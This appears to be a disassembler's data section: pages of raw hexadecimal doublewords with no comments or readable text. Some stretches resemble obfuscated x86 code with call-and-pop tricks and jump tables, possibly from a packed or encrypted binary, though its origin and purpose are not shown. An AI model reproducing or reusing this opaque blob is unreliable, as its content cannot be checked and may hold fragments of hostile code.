		dd 0C10C9EEDh, 9F3E87EEh, 3506246Dh, 86B857DDh,	7DE244F3h
		dd 0FF31D037h, 9433C402h, 5969CF62h, 16770597h,	0F2F27F11h
		dd 0FF9E4441h, 0E5AE3ACDh, 3A698D76h, 4F8120A8h, 0CF3C88EDh
		dd 900984h, 851F8815h, 5A09B84Bh, 9CB150F8h, 0C910E80Eh
		dd 9624B879h, 79C91060h, 31E08F40h, 0E20E549Fh,	0AA0AC77Bh
		dd 0E4832948h, 58D1FB2h, 49D13369h, 5DE57779h, 782C8EC4h
		dd 0A3AA3FEAh, 0F6D21D6Fh, 724D9342h, 47F872D4h, 5E942DB5h
		dd 9BBA1CCBh, 59F275Dh,	0F78938CBh, 0A4158D69h,	0F85A0BFCh
		dd 7B994D70h, 0DC270826h, 0D4644C1Dh, 0AD55B730h, 3268050Eh
		dd 2341F09Fh, 4CB67EBCh, 699BB91Bh, 68h, 69F2729h, 0DBE26ACCh
		dd 9F27ED0Bh, 995DEB00h, 7FCA415h, 6514A756h, 35C14F03h
		dd 29FCA416h, 3BCE04A1h, 3567068Ch, 8AA859D3h, 0F1059327h
		dd 0AFFCA415h, 0C8E89CFEh, 0D6689A33h, 0E97CB04Eh, 898D83Ah
		dd 1A52EE76h, 3676D887h, 0CE009F27h, 0E72A8C3Bh, 4Fh, 0DC0EAD35h
		dd 0CD29B749h, 0CBFCA415h, 0C9096B1Ah, 0EA7C6A53h, 1CB7C662h
		dd 0F1A04FE2h, 99274F8Fh, 0FCA4155Dh, 0C4491C67h, 50C48410h
		dd 3CEB7EB2h, 27C0DE8Dh, 9F2707h, 2BC46CCEh, 45D367F9h
		dd 0FCA415B1h, 5CEF25C1h, 42A455ADh, 33EA0802h,	43CF6294h
		dd 0FC9B9401h, 74DB2164h, 8911A3D5h, 3655B7EDh,	27BAF690h
		dd 3E740D95h, 669A34DCh, 0B1FB3ED3h, 8380B44Eh,	0D8B049D1h
		dd 22F031A1h, 115A0979h, 82832DBh, 5C81E398h, 0A6B40A96h
		dd 3CFFh, 27C34B00h, 2DB362F5h,	18C75A90h, 943376B6h, 3185D062h
		dd 39F23E17h, 9C02B719h, 0A438CA26h, 0A74B5A59h, 25872FA4h
		dd 7EDFCE77h, 0E6792AF2h, 0A7E85497h, 0BC44D608h, 6E8DEF21h
		dd 29F2730h, 15975FEDh,	5001FCA4h, 0FD5F0EA1h, 0F184B655h
		dd 27B9378Bh, 37CA049Fh, 0E4722688h, 0F27F3579h, 0BDEF8D15h
		dd 53D3110Eh, 265E7C6Ah, 62943308h, 820ABC44h, 6A19ACE8h
		dd 4CB6C808h, 699BB91Bh, 55h, 7C6A5329h, 0B93275Eh, 0FDAC3F71h
		dd 1619DD6Bh, 0D687FCA4h, 1630C674h, 0BF70FCA4h, 270727A1h
		dd 5DEB009Fh, 0FCA41599h, 14A75607h, 0C25B0365h, 0DC6AFE90h
		dd 0FCA4161Ah, 3373D586h, 0DC27EA08h, 0ED0DC6C4h, 8C1AAC71h
		dd 0FCA3766Ah, 0E0238536h, 3Ch,	996A53A2h, 0A415EB0Bh
		dd 5504B5FCh, 29F2737h,	2C8E3DD0h, 0A599E478h, 0F41772BFh
		dd 6EF5B932h, 0A5E34625h, 67619543h, 206BFCA3h,	324BE706h
		dd 2C4AF927h, 9A330727h, 0EA084A68h, 0CF629433h, 0E91BB53Dh
		dd 946BD987h, 93D6FC9Bh, 1547E629h, 0A1D37218h,	0D61AA80Eh
		dd 1183F944h, 6EDAADD0h, 43CA580Ch, 3F27A68h, 53175552h
		dd 0D309A56Ah, 0DC270624h, 0E93B2CEEh, 0F9AE1013h, 629433DBh
		dd 0B67EBC44h, 9BB91B4Ch, 6269h, 9F272900h, 0E66ED002h
		dd 327D0FD7h, 0A1036B46h, 0D9CBEE8Ch, 509C4790h, 27CD0D6Fh
		dd 0A4155D99h, 0DD7901FCh, 6CFF31D0h, 32AC0EBDh, 62FD10AAh
		dd 3FEE9D30h, 93277290h, 0A415F105h, 9CFEAFFCh,	9F27C8E8h
		dd 9B5BE906h, 5FCA415h,	9B43A554h, 975FED02h, 1FCA415h
		dd 883A150h, 3098EAh, 535A0000h, 275E7C6Ah, 0A4155D99h
		dd 98B667FCh, 35019F27h, 9A243567h, 3CC27172h, 28D76A9Eh
		dd 33F212C6h, 274A689Ah, 0C6B97BDCh, 42A49887h,	9433516Fh
		dd 0AE48D062h, 0CF5B1072h, 0FC9B9475h, 572EFA99h, 54ECFA39h
		dd 0CB51E493h, 0D86D0032h, 70BF2F95h, 0E074C72Dh, 9F5BA452h
		dd 60A9F4FCh, 0B66D2DC4h, 0DE77FDACh, 6211A4h, 16B0B958h
		dd 7C2E2BDAh, 0B04C55F4h, 8B3AE97Ch, 0B0E28129h, 0E50BB71Dh
		dd 9AC4C553h, 0D25AF27Ah, 0BB6AFD37h, 0BD4BDF59h, 0F5F65D39h
		dd 9730B667h, 73B1AE5Dh, 0B996A53h, 0FCA415EBh,	0FB026AB5h
		dd 0D577564Fh, 27597726h, 48CE009Fh, 34E376AAh,	33FF1DD2h
		dd 27446294h, 6DCF019Fh, 2B519C4Eh, 0E6705811h,	0B61959BBh
		dd 9BB91B4Ch, 27F38D15h, 0E2F64D39h, 0B81AC9E9h, 5A58h
		dd 8959A400h, 0FDAFD606h, 225AF67Ch, 9F2780C0h,	4F643400h
		dd 0EA472B2Dh, 6C51D93Bh, 99275C7Ah, 0FCA4155Dh, 0ADF88A3Bh
		dd 1CBA9C4Ah, 0B239FE8h, 2764A406h, 5FF9029Fh, 34E39225h
		dd 0DC90F2A1h, 689A33BCh, 59F274Ah, 789669CBh, 5801DC27h
		dd 0A7368448h, 1D0245h,	53C40000h, 5373E26Ah, 0FC3C1FBEh
		dd 99272F4Dh, 0FCA4155Dh, 2798B667h, 689A3307h,	33EA084Ah
		dd 0BBED8B94h, 37CA7928h, 85585AA5h, 0FD8A2EA5h, 41AF139Bh
		dd 0E6D01BAFh, 29ADAB58h, 5641274h, 57F27ED3h, 9CFE30CFh
		dd 0C2747122h, 0EA0C9A2Eh, 0B6F5FAD1h, 0D17D7905h, 53EDF5FAh
		dd 0B618C921h, 0CA5C942Eh, 0CACABB3Ch, 8725ADEBh, 0B113C255h
		dd 0A9F48637h, 0F3849AB7h
		dd 81369887h, 2D2A5CFBh, 23B6E887h, 376D0991h, 0E9DC27D5h
		dd 649D903h, 88BA59BEh,	1446E58Bh, 2B5DFB81h, 0C62E9198h
		dd 46402A75h, 0DAAC3B0Dh, 0FF31D078h, 0B4BD5C02h, 0A453E61Ah
		dd 0FF1863F5h, 0D7E912AAh, 15A75CBEh, 5EC0F28Dh, 0F1Bh
		dd 0A61E6900h, 0DC10AE9Bh, 94A50D93h, 2D4DF232h, 0D6699B33h
		dd 0EC7FB150h, 699CB66h, 1DB0E480h, 30C3FD97h, 41D410AAh
		dd 58EB1DBBh, 68FB39D2h, 7C0F45E2h, 0E289522Ah,	4C281h
		dd 0BE560000h, 4, 875EF229h, 535C2414h,	0C381E389h, 4
		dd 8704EB83h, 895C241Ch, 0FC68240Ch, 89000015h,	68552434h
		dd 36B71715h, 83242C8Bh, 0DDF704C4h, 0EFD6ED81h, 0E989C298h
		dd 4EC835Dh, 83242489h,	5E042404h, 8BA52h, 0EA810000h
		dd 792E43ECh, 0C281F201h, 792E43ECh, 8B5A0A89h,	89512434h
		dd 4C181E1h, 83000000h,	0C8704C1h, 34FF5C24h, 0C4835924h
		dd 7DBFE904h, 88D6FFF9h, 94B8369Ch, 306B001h, 0CE0FFC5h
		dd 0A321C176h, 9159107Eh, 634D08D3h, 2F6E062Fh,	1D3866ADh
		dd 0D279D37Bh, 4C21B9A2h, 635AD223h, 383ECCFEh,	0A2225ABAh
		dd 6C2D2343h, 87248AB3h, 0DA15D67Ah, 0B56B0B4h,	0C8180C8Ch
		dd 0D23B07B2h, 93B2343h, 0D763B966h, 1041BF63h,	290CB94Eh
		dd 6A51D240h, 683C917Eh, 0B470C45Fh, 0A92372C5h, 774AD77Ch
		dd 576D06E3h, 0B0680269h, 0D705516Eh, 412A579Eh, 4803921Fh
		dd 0E9144E14h, 0E81C0FF8h, 10h,	0E4B90DCAh, 633CF005h
		dd 6A1DF768h, 0B3DE9184h, 9E8h,	42E7D100h, 0B100E5F6h
		dd 585E4856h, 7E8h, 99DEB700h, 0BA1B9203h, 815BD38Bh, 6D1FC0h
		dd 1F890F00h, 0E8000000h, 13h, 91D055C7h, 0CE905D72h, 41D2F0BBh
		dd 54E442BDh, 0F5F4C6Eh, 89h, 685B00h, 81000000h, 0C6D2EFE3h
		dd 0F38B5F04h, 8B0734FFh, 8B5159F3h, 0C1815BD7h, 0D7E6E42h
		dd 5F506060h, 61D88B66h, 0E98161F8h, 4688EF50h,	1C35C181h
		dd 0F5767BFh, 895BF3B7h, 8E9380Ch, 0FE000000h, 0BD3148F9h
		dd 662F7172h, 81BDCBBBh, 0B57623EFh, 0D8B70F41h, 761FC781h
		dd 7E941B5h, 33000000h,	88F68F53h, 0FF810ABCh, 0FFFF93DCh
		dd 1D850Fh, 0AE90000h, 2E000000h, 0FE1B161Bh, 0CB8E0801h
		dd 1DE9AAh, 0A8AC0000h,	907A57F1h, 0E927E025h, 0FFFFFF78h
		dd 9BC6CF94h, 4AFC2FBCh, 0FFB8C4FAh, 8DD8FF88h,	0B004848Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 66355722h, 89F74DBAh, 0A916CD8Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 179BEFCBh, 708C0CCh,	1D5D9D89h, 2FB306A9h, 0CE585C7h
		dd 583806A9h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 414788C3h, 4B1D9ED8h, 0F1C40C2h
		dd 85C7D9B7h, 6A911CDh,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 6FC35646h
		dd 311B18CEh, 0A9224D95h, 25B5FF06h, 8A06A90Fh,	8195FFF4h
		dd 0F506A932h, 1ECDB50Bh, 6A06A9h, 2D9595FFh, 0C08B06A9h
		dd 2961CEBh, 6D482528h,	0F72E69E4h, 97B38893h, 439E6665h
		dd 610537C6h, 6E94BBA2h, 8D8DC68Ch, 6B00565h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 7FC35646h, 8171ECC2h
		dd 0CD8D89CBh, 2906A916h, 0A90E919Dh, 0E585C706h, 0D806A90Ch
		dd 6A000067h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 16BEC350h, 0F60BB800h,	0E39C43FCh
		dd 0EE6CBBF9h, 85C703B9h, 6A911CDh, 0
		dd 0F8BF0F60h, 0DE9h, 5BAC0500h, 0C2C4B495h, 50A51B3h
		dd 0FF618986h, 0A9267DB5h, 800F06h, 0FF000000h,	0A9328195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 6AAD8936h, 9595FF00h, 8B06A92Dh,	0D20AEBC0h
		dd 6203294Bh, 0D168ED2Dh, 2D8D8D03h, 0E906B006h, 7, 0E3BC2FFCh
		dd 0F8A6E01Eh, 16CD8D89h, 9D8906A9h, 6A91D15h, 0CE585C7h
		dd 6CC806A9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0D86996C3h, 89F62536h, 0A917E185h
		dd 0BD858906h, 0C706A903h, 0A911CD85h, 6, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 3E8F0B6Fh, 33D63867h, 0A92869B5h, 3DB5FF06h,	6A06A90Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FF39C351h, 0A9328195h, 6AD38A06h, 9595FF00h
		dd 8B06A92Dh, 7C6FEBC0h, 5C64ACA0h, 0DFB9962Bh,	55BE4C9Fh
		dd 0C0392031h, 592E337Fh, 5C4A969Ah, 0BAF70FD1h, 83C8E297h
		dd 0B5E5ADA0h, 8562EBCBh, 0D89F0BDFh, 0B70B371Ch, 4A7AD181h
		dd 6AB267E8h, 0E0EF0A83h, 0FA6E9A01h, 7E4A6820h, 0D83B0DECh
		dd 93FC2648h, 0BB9D773Fh, 0EC5763F9h, 8F43DDB4h, 0E576A066h
		dd 0B4D58080h, 0B4CCAB84h, 2AF3FE7Dh, 0C0B9A123h, 0EE8C0FFh
		dd 0B7000000h, 4B271FFh, 3C56CD6Fh, 0A3043669h,	870F60C9h
		dd 6, 28118D09h, 816606A9h, 61FEDDF7h, 5B58B58h, 8106A90Ch
		dd 752DC0h, 0C1BD8900h,	0B906A920h, 1D10h, 8E8h, 81CFB00h
		dd 5B1BF9C3h, 0EDB5892Ah, 5A06A935h, 0F38130FFh, 4CBC9F0Ah
		dd 8BF5605Fh, 0A911F99Dh, 0EF816106h, 43CA034Eh, 0D71B503h
		dd 0F78106A9h, 20753B58h, 11559503h, 0C78106A9h, 37AF3B2h
		dd 1D118529h, 815706A9h, 9B91CAF6h, 0E8008F4Ah,	10h, 0FEDCB700h
		dd 0D100455Ch, 79A60EBh, 0DC3AA07Ah, 0E8835AF9h, 0EE904h
		dd 1A8E0000h, 139D9F76h, 1BA20158h, 31B021EAh, 0F01E983h
		dd 1685h, 0B58B5600h, 6A933DDh,	22E95Eh, 598A0000h, 0E775D8BEh
		dd 8126FEE6h, 0FE4321DEh, 0FF6AE905h, 2FB7FFFFh, 2EDCF01h
		dd 1FE3CBCDh, 0BE7388D3h, 8248D8Dh, 8D0906B0h, 6A92D61h
		dd 16CD8D89h, 6A06A9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0AF0083C3h, 95E0C321h, 85C7C4EBh
		dd 6A90CE5h, 6218h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0FEC35343h, 0FD8AC03Eh, 11CD85C7h, 6A9h
		dd 0BD8B0000h, 6A91465h, 0B5FFF88Bh, 6A917D1h, 95FFFB8Bh
		dd 6A93281h, 9299589h, 6A06A9h,	2D9595FFh, 0C08B06A9h
		dd 229158EBh, 1CEA9C7Ch, 0D2BBE0E9h, 9137F2EAh,	839D4F4Fh
		dd 0C9C1E27h, 0AD8A1062h, 0D9B563B7h, 531F6381h, 0A8262CFBh
		dd 2D285ABBh, 0F12C3CEBh, 1E254EB3h, 14573BB2h,	291AE398h
		dd 77DCFE5Ch, 0DDE58530h, 0E343514Ah, 0CEA6C57h, 6BD1DF0h
		dd 0F5F31FC3h, 7F6F06D1h, 5FE99828h, 52000001h,	0E860D48Bh
		dd 0
		dd 8FED815Dh, 8B06B008h, 453D0842h, 0F782638h, 13885h
		dd 0C428B00h, 0D3184A8Bh, 0D949BBC8h, 0C3335D30h, 8904E883h
		dd 0A916CD85h, 4588B06h, 428BF88Bh, 184A8B10h, 16BEC8D3h
		dd 33D2A590h, 83C72BC6h, 0E883FCE0h, 0E5858904h, 8B06A90Ch
		dd 85891442h, 6A911CDh,	5318428Bh, 0B0E9h, 45B5FF00h, 0E906A900h
		dd 0B9h, 12C9B5FFh, 0AEE906A9h,	0FF000000h, 0A92825B5h
		dd 0A3E906h, 0B5FF0000h, 6A911C1h, 98E9h, 7DB5FF00h, 0E906A926h
		dd 8Dh,	3365B5FFh, 82E906A9h, 0FF000000h, 0A917D1B5h, 77E906h
		dd 0B5FF0000h, 6A927F9h, 6CE9h,	71B5FF00h, 0E906A931h
		dd 61h,	0A3DB5FFh, 56E906A9h, 0FF000000h, 0A90E09B5h, 4BE906h
		dd 0B5FF0000h, 6A90F25h, 40E9h,	85B5FF00h, 0E906A92Ch
		dd 35h,	659B5FFh, 2AE906A9h, 0FF000000h, 0A92409B5h, 1FE906h
		dd 0B5FF0000h, 6A90DA9h, 14E9h,	0B8D88B00h, 0Bh, 8DE3F766h
		dd 0B008F08Dh, 0FFC80306h, 8195FFE1h, 5B06A932h, 16CD858Bh
		dd 583906A9h, 0F850F04h, 53000000h, 95FF016Ah, 6A92D95h
		dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
		dd 6A900D9h, 9DE8D8Dh, 418906B0h, 8DC38B01h, 0B00A948Dh
		dd 0ADBD8906h, 8906A91Fh, 0A916CD8Dh, 0BDB58906h, 0C706A921h
		dd 0A90CE585h, 6C7406h,	0BA666000h, 890F012Bh, 6, 11C99589h
		dd 36106A9h, 0A91FED85h, 0CD85C706h, 6A911h, 8B000000h
		dd 0A90FA985h, 25B5FF06h, 0E906A90Fh, 13h, 0D83F8EF4h
		dd 0A946FABCh, 326AFBC1h, 29D4A3E1h, 0FF08A586h, 0A9328195h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 77C2A0B2h, 88B74C46h, 143DB589h,	6A06A9h
		dd 2D9595FFh, 0C08B06A9h, 0A1861CEBh, 13ED4646h, 4EAFC768h
		dd 0AD3BE069h, 0BD22589Eh, 1AAA4B25h, 23DA2F8Ah, 0CCE9E391h
		dd 6000000h, 0D75F2D7Dh, 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh
		dd 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh
		dd 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h,	9FB79960h
		dd 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h
		dd 9FA5B4h, 0F07B6B5Ch,	8A924Ah, 45F352D0h, 0A3F653F5h
		dd 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h,	0FD756BBFh
		dd 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh,	0B29EBD94h
		dd 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h
		dd 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h, 74470000h
		dd 0E0E3129Dh, 5E99h, 4	dup(0)
		dd 0E9000000h, 168Bh, 0B00D5D68h, 7447E906h, 0D468FFF9h
		dd 0E906B00Eh, 0FFF9743Dh, 0B00FC768h, 7433E906h, 2268FFF9h
		dd 0E906B011h, 0FFF97429h, 0B0119768h, 741FE906h, 3968FFF9h
		dd 0E906B012h, 0FFF97415h, 0B0130F68h, 740BE906h, 0E368FFF9h
		dd 0E906B013h, 0FFF97401h, 0B0149C68h, 73F7E906h, 0F668FFF9h
		dd 0E906B015h, 0FFF973EDh, 0B0171068h, 73E3E906h, 7968FFF9h
		dd 0E906B018h, 0FFF973D9h, 0B0197A68h, 73CFE906h, 0CA68FFF9h
		dd 0E906B01Ah, 0FFF973C5h, 0B01C0268h, 73BBE906h, 3F68FFF9h
		dd 0E906B01Eh, 0FFF973B1h, 0B01F6068h, 73A7E906h, 0D068FFF9h
		dd 54F19794h, 0E27B211Eh, 6F0DB3B0h, 9A403Dh, 988CC7C4h
		dd 0F0C48E2h, 9A97CD69h, 2A2759F4h, 0B6B3E584h,	0B83ECC60h
		dd 0E8F5F409h, 93275775h, 0A415F105h, 9CFEAFFCh, 912355F4h
		dd 7FFFB2FDh, 0E4513F4Ah, 0A3D99E58h, 49FAFCh, 0D1EDFAA4h
		dd 813698BCh, 2D2A5CFBh, 43D51BA7h, 7F1A28B5h, 49748F2h
		dd 0FAFC4A78h, 88F457F5h, 0FEA28CAh, 2F6DA0h, 532D0000h
		dd 61EF816Fh, 0F27F2330h, 28B447F8h, 0F5FB019Ah, 0EB58A407h
		dd 3294C663h, 0FEBE50Dh, 0CCB0A0h, 68FC0000h, 0FAF61CDAh
		dd 69CB7CF5h, 59F2729h,	278938CBh, 1BAEE07Fh, 36C9FB95h
		dd 0BDC510A4h, 854B273h, 0A0F7FF8Bh, 0F0A1FCA3h, 1547E68Eh
		dd 2B5DFC82h, 5AE87C2Eh, 0FCA3A09Ch, 2BB94BFCh,	0FCA3A0CBh
		dd 14C224D5h, 0FCA39DB8h, 181547E6h, 0F45DE66h,	0C36BCD7Ch
		dd 4C7E1B24h, 1EA40A9Dh, 3B240D2h, 13F27EC2h, 0E3DF6562h
		dd 0B1ED7B0Dh, 0CFEBC76Eh, 6A048C1Eh, 0F9933936h, 881B55F0h
		dd 0F9B32AD9h, 0BC8916B7h, 13FF0627h, 0F8900000h, 7C19BFBCh
		dd 0AA34946h, 9735DBD8h, 28C26865h, 70B4EFECh, 3734700Ah
		dd 0C2BFF591h, 524F811Ch, 0DEDB0DACh, 9066F488h, 10F5F408h
		dd 99337F9Dh, 816EFCCDh, 0A756CFAFh, 336504AAh,	6F53F836h
		dd 3061EF81h, 0F8F27F23h, 9A28B447h, 0A0F5FB01h, 0B83ED103h
		dd 0A554E719h, 0BC4F811Fh, 33A3094Eh, 3FDA6214h, 3DC37205h
		dd 2AD96C9Eh, 391963C8h, 0A00FEBB9h, 142DCh, 88DD2800h
		dd 6D1D519h, 27B6F658h,	3B6C4893h, 8B343C25h, 0A3C4F7FFh
		dd 8019A1FCh, 5100AF42h, 76A847EFh, 8CC05CE4h, 0C48A6CFAh
		dd 6516FCA3h, 2EC84E03h, 461560F2h, 0F0C34B71h,	0CBBF58Fh
		dd 0EC65A3C3h, 0BF21673Ah, 914E7E0Ah, 0BD5CFCA3h, 0D471F98Bh
		dd 771D3C9Eh, 0C135C3D8h, 0DFFCA390h, 0D584BE57h, 0B6019326h
		dd 8397214h, 58DEFE7h, 0DA133BDh, 0A36B777Fh, 0EA7021FCh
		dd 0D2811450h, 872EBC70h, 97F27E89h, 5F63E9E6h,	0DD6BFF91h
		dd 0F5FA8819h, 2B65FF87h, 0D2661A7Ch, 0DA1CAA3Eh, 0C6F5FA87h
		dd 876D8915h, 7A2BF5FAh, 0C02256F4h, 0C7369912h, 3ACC7DEBh
		dd 0D6DE18A6h, 32BAFCA1h, 50B26193h, 6F7A149Ch,	1F6C02D6h
		dd 0D6972F79h, 74029427h, 0FCA13382h, 0FBE6D1Eh, 549EE97Dh
		dd 236119FFh, 0D5BA3CC8h, 35E6FCA1h, 740EB4D3h,	1619C940h
		dd 33C88916h, 128812h, 356F0700h, 0BFF59238h, 51831CC2h
		dd 0DC10AE54h, 659F39DFh, 83F72D68h, 14BAB7E9h,	0A1474478h
		dd 29CFCC06h, 55B588Ah,	813E371h, 1A8DF5F4h, 679933FCh
		dd 1C25C46Ah, 9E9B4A7Eh, 2CCA58ECh, 6CFCA416h, 331959BBh
		dd 26F28B94h, 0A2EE5BA3h, 47DA8901h, 0CF57E998h, 0BF6E0133h
		dd 8322A85Dh, 16A9DB7Ah, 0FBEF290h, 24BD6360h, 36D55BEEh
		dd 4FEA7204h, 41D38215h, 0A3A643B3h, 4AAC5DFCh,	0AD775B2Bh
		dd 33650415h, 487C1AA0h, 0D15706B5h, 0BD6CFF35h, 23EE7C0Eh
		dd 0E3F27EB2h, 3E55A032h, 9A8153EDh, 6E1C46A8h,	0DE744F53h
		dd 0A133BD05h, 3811C20Dh, 0A893C35Ch, 36A19846h, 0ED75015Bh
		dd 0DE8D2052h, 8C369C2Fh, 1CDA71CAh, 0BD4389E0h, 0AE5DF022h
		dd 0DFDF6DFFh, 39FAE88Ah, 0CF6EF688h, 5BFAA09Dh, 0CC7BB952h
		dd 32D26355h, 94B54A78h, 1195h,	252262FAh, 0B3B0E27Fh
		dd 413E740Dh, 0CECBFD9Bh, 55528E28h, 0D6700A1Ah, 5BF79D9Ah
		dd 0EB862C29h, 7716BCB9h, 5EF24845h, 0F40726D0h, 0E1FF72F5h
		dd 0EF8B9433h, 157B0EBDh, 0A1D36CADh, 1EB05F0Eh, 0C28B3F8Ah
		dd 0A4097FD4h, 0AEE59442h, 0E377F27Eh, 0FB8EC05Bh, 0B236C04Ch
		dd 0B162F5FAh, 2724D54Fh, 3DCF21A1h, 518321A9h,	0FFAD0FBEh
		dd 0EBD5B122h, 36C25506h, 0FCA3AF8Ch, 884AB215h, 0A6B8996Ah
		dd 442Bh, 52EF7700h, 0E578AA49h, 45F48736h, 9F27A3E3h
		dd 0E26ACC06h, 0F07E10E0h, 0F27F5812h, 8B13A556h, 144EE7F0h
		dd 0B24BD365h, 36293780h, 64188766h, 0BD37E302h, 0B1F5FAA4h
		dd 3DE3E012h, 0BCDD70A2h, 10CDh, 816F537Eh, 29CD5BEFh
		dd 77FCA416h, 22B064C6h, 0F2741A37h, 0A42CBE6Fh, 2E62FC05h
		dd 403DEC9Bh, 37C9FB9Ah, 980271ECh, 0DA3C1C6Fh,	0ED03BF25h
		dd 0A833CD5Bh, 5C0DEBC3h, 0CCEB36CAh, 0EEBEF546h, 184AE76Dh
		dd 0CC74D685h, 1E69FB2Dh, 0A8D6F78Bh, 0FE1D7F37h, 17B0B958h
		dd 0EC9B4ADDh, 21CFF359h, 0D473FB8Fh, 0FE600FA2h, 7F09BD50h
		dd 0ED145FF2h, 0DA4124BEh, 45CC6608h, 89ABA2FCh, 8B19AD27h
		dd 0F5FA446Bh, 5ED58435h, 8FBD8740h, 3A93B449h,	55000010h
		dd 0E48A87BDh, 72181547h, 0F89E9BD9h, 8329265Ah, 7FBAB7E9h
		dd 93BD5A5h, 92CA660Ch,	1A54EF95h, 0A6D8771Dh, 31BF53A9h
		dd 0F5F404C5h, 274260D3h, 12C9C7DCh, 21C75DCAh,	0BC716E3Ch
		dd 77258736h, 0FCA3F44Bh, 0AB3DB30Fh, 73FC1B1Dh, 0C25405F2h
		dd 6C699B3Ah, 63F527C6h, 0AA0C3EDBh, 0BD338FF5h, 0F9DC9D2Bh
		dd 1BCCEBCEh, 0D6F00A4h, 0CFF08589h, 0FC5h, 0F5F232CAh
		dd 8380B24Fh, 110E44DDh, 9E9BCD6Bh, 25225EF8h, 0A6403AEAh
		dd 2BC76D6Ah, 0BB56FCF9h, 47E68C89h, 2EC21815h,	0F40456A0h
		dd 0B1CF42F5h, 0CF629433h, 795AA49h, 0FCA415EFh, 0B649F8A9h
		dd 0CA5D9730h, 0E679AB44h, 7EE85497h, 8B4FB51Ah, 0A6B90367h
		dd 98B2Eh, 9327EE00h, 0A415F105h, 5E09BEFCh, 8B629854h
		dd 47398233h, 0D8114D0h, 8A38C022h, 0DD46D466h,	0B9F273A1h
		dd 4FEE7608h, 0DB7A201Dh, 388A16A9h, 22F5F3A4h,	30BE50A0h
		dd 0EBCEB449h, 0AD35AC5Dh, 0C890D35h, 0F235677h, 0D46C0000h
		dd 60FDA3A0h, 0EE872D2Ah, 7311B7B4h, 49E4441h, 8C98D3D0h
		dd 232054EEh, 0AEABE17Dh, 36336D08h, 0C2BFF190h, 0AC4AD86Ch
		dd 0ECF5F403h, 94335B79h, 0B53DCF62h, 0A150E319h, 0C18ED058h
		dd 0B719FDF2h, 0AB3E700Fh, 0E2818A25h, 0E86E01B0h, 70A23B4Eh
		dd 0C4272EC1h, 258AEE78h, 71F7FBDFh, 0DD9EA6B8h, 5E000008h
		dd 0CE009F27h, 7C2A8C3Bh, 0FCA41546h, 0B042AE14h, 741CC122h
		dd 0AE4DD5F2h, 0B33BCD7Ch, 550E214h, 0AEBBBAB6h, 807ABBC1h
		dd 83E5A807h, 0A15372D4h, 0C2777F0Dh, 7021F5F3h, 95C7660Eh
		dd 0C9DE7B03h, 0F3C2BB3Bh, 8534E5F5h, 0BA086E23h, 8493BD9Ch
		dd 7A61FA6h, 0E57726D5h, 2E90C25Dh, 0B58DEC7Ah,	6819EBCEh
		dd 0D34FFF1h, 829BE89h,	0E4Dh, 6D6AAA42h, 0FBF82AC7h, 8986BC55h
		dd 161345E3h, 9D9AD670h, 1EB8C262h, 0A33FE5E2h,	33CE7471h
		dd 0BF5E0401h, 0A63A908Dh, 0F402DE18h, 2947BAF5h, 0CF629433h
		dd 0E578AA49h, 0F2D01C81h, 0A6B90400h, 0D71FAD41h, 0C1FCA40Dh
		dd 1D4EAE10h, 0E000008h, 0EF816F53h, 7F0C105Bh,	0DC2D0DF5h
		dd 0EF82BA56h, 6A30DE40h, 0BEF273D8h, 5FE77B0Dh, 0F8FE8AC4h
		dd 0A8F5F3CCh
		dd 59E195F7h, 0D98B88BAh, 0CC3FB745h, 0A859F5F3h, 0CDFF9E46h
		dd 841FA73Bh, 7C08B74Ah, 0F5F3CC7Ah, 0CF059E26h, 7D09BE20h
		dd 0F5F3CC45h, 0B143AD15h, 0E3FC951Dh, 0F3CCA155h, 9F4EFFF5h
		dd 0DBEA8F3Dh, 3984EBCEh, 6EE74A9Ah, 0F05FA38Fh, 0FD4C2E28h
		dd 0C172EC4Eh, 0DD75C4Ah, 57780D89h, 0D79h, 49467E16h
		dd 0D7D406A3h, 5D5A9831h, 0EAE719B7h, 7976AA44h, 0FA94E63Eh
		dd 8723C9C6h, 17B25855h, 9B3AE0DDh, 82166C69h, 0F40302F4h
		dd 0D2B9EF5h, 0F18B9433h, 679D39BFh, 0E37625D4h, 0F98CBE5Dh
		dd 6C43095h, 0A6B903ECh, 74BA9h, 0C82D6900h, 0CAFCA415h
		dd 0D866F8F8h, 0F2741D1Dh, 0AE36C879h, 8A6CFA0Fh, 0E8F5F40Ah
		dd 0D07F124Eh, 8618C778h, 97CD6AF2h, 2DC95504h,	6BF5F40Bh
		dd 0AAD49D7h, 3AEBF5F4h, 640A298Bh, 9A0093C5h, 9F57E528h
		dd 0F9F5F40Ah, 73079948h, 22CD6F28h, 2CC6E646h,	39E749F8h
		dd 0EBCF237Ch, 497B149Ch, 4AD9239Ah, 47DC890Dh,	0CC026h
